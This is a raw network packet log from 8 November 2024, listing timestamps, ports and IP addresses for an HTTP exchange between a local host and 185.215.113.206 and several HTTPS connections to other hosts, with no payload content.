Nov 8, 2024 15:21:13.793410063 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.793469906 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.793498039 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794075012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794117928 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794215918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794226885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794236898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794287920 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794312000 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794365883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794375896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794384956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794413090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794429064 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794703960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794714928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794724941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794747114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794781923 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794867992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794878960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794888973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.794917107 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.794936895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.795017004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.795027971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.795038939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.795089960 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.795089960 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.795181036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.795190096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.795221090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.795234919 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.877852917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.877872944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.877883911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.877897978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.877907991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.877940893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.877986908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.917365074 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:13.917390108 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:13.917591095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.917668104 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:13.917668104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.917867899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.918431997 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:13.918431997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.918448925 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:13.945878983 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.945911884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.945923090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.945955992 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.945995092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:13.947870970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:13.947928905 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.015269995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.020160913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.261545897 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.261785984 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.261809111 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.262870073 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.262934923 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.263998985 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.264074087 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.264331102 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.264344931 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.292043924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292071104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292081118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292104006 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292161942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292171001 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292175055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292220116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292220116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292244911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292274952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292311907 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292386055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292397022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292409897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292435884 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292484045 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292519093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292563915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292646885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292716026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292732954 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292743921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292771101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292815924 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292901039 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292912006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292922974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292943001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.292968988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292968988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.292996883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.293112993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.293165922 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.293340921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.293422937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.293427944 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.293433905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.293474913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.293474913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.293541908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.293551922 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.293602943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.293602943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.319103956 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.380466938 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.381012917 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.381042957 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.381191969 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.381431103 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.381458044 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.381470919 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.381870031 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.382492065 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.382539988 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.382560015 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.382627964 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.382961988 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.382982016 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.383251905 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:14.383260965 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.383342028 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.383503914 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:14.383517981 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:14.383620024 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.383698940 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.383708000 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.384064913 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.384119034 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.384476900 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.384541035 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.384547949 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:14.384598017 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.384660006 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:14.385770082 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:14.385828972 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:14.386039972 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:14.386044979 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:14.395267010 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.395735979 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.395765066 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.396637917 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.396698952 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.397003889 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.397069931 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.397147894 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.413898945 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.414195061 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.414210081 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.415199995 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.415258884 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.415637970 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.415822983 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.415879965 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.415977955 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.416148901 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.416177034 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.417198896 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.417258024 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.417562962 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.417624950 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.417702913 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.417712927 CET	443	49809	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.425668001 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.425766945 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.425786018 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.427340984 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.439327955 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.441610098 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.441620111 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.441822052 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:14.446813107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.446842909 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.446856022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.446887016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.446923971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.446950912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.446974993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447016954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447016954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447047949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447060108 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447067022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447221041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447227001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447237015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447302103 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447335005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447346926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447418928 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447499037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447510004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447521925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447534084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447549105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447586060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447586060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447797060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447808981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.447854996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447870016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.447978020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.448033094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.448040009 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.448044062 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.448111057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.450639963 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.457634926 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.457649946 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.457767010 CET	49809	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.478730917 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.485970974 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.487323999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.487438917 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.487750053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.487814903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.492084980 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.492166996 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.492384911 CET	49803	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.492399931 CET	443	49803	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.498157978 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.498198032 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.498420954 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.498676062 CET	49813	443	192.168.2.8	20.75.60.91
Nov 8, 2024 15:21:14.498689890 CET	443	49813	20.75.60.91	192.168.2.8
Nov 8, 2024 15:21:14.511270046 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.511359930 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.511559963 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.512480974 CET	49806	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.512490034 CET	443	49806	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.513468981 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.515821934 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.515870094 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.516205072 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.516551018 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.516565084 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.518074989 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.518378973 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.518393993 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.519490004 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.519557953 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.520935059 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.520998001 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.521373987 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.521383047 CET	443	49812	108.156.211.71	192.168.2.8
Nov 8, 2024 15:21:14.525706053 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.525732994 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.525741100 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.525793076 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.525804043 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.525845051 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.526817083 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.526843071 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.526945114 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.526957035 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.527065992 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.527331114 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.527681112 CET	49811	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.527702093 CET	443	49811	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.531923056 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.531955004 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.532263041 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.532521963 CET	49815	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.532531977 CET	443	49815	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.532727003 CET	49810	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.532747030 CET	443	49810	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.535033941 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.535073996 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.535247087 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.535567045 CET	49816	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.535584927 CET	443	49816	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.536070108 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:14.548691034 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.548718929 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.548727989 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.548784971 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.548811913 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.548901081 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.550040960 CET	49808	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.550059080 CET	443	49808	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.558144093 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:14.558259010 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:14.560348988 CET	49805	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:14.560364962 CET	443	49805	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:14.571609974 CET	49812	443	192.168.2.8	108.156.211.71
Nov 8, 2024 15:21:14.601353884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601383924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601397038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601430893 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601447105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601480961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601497889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601510048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601568937 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601578951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601597071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601608992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601634026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601634026 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601656914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601670027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601726055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601775885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601787090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601816893 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601835966 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.601912022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601923943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.601958990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.602077961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602118969 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.602152109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602164030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602196932 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.602284908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602297068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602381945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.602499008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602580070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602585077 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.602593899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602616072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.602634907 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.602653027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:14.602937937 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:14.619724989 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.619752884 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.619766951 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.619827986 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.619851112 CET	443	49807	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:14.619896889 CET	49807	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:14.626920938 CET	443	49807	23.38.189.114	192.168.2.8
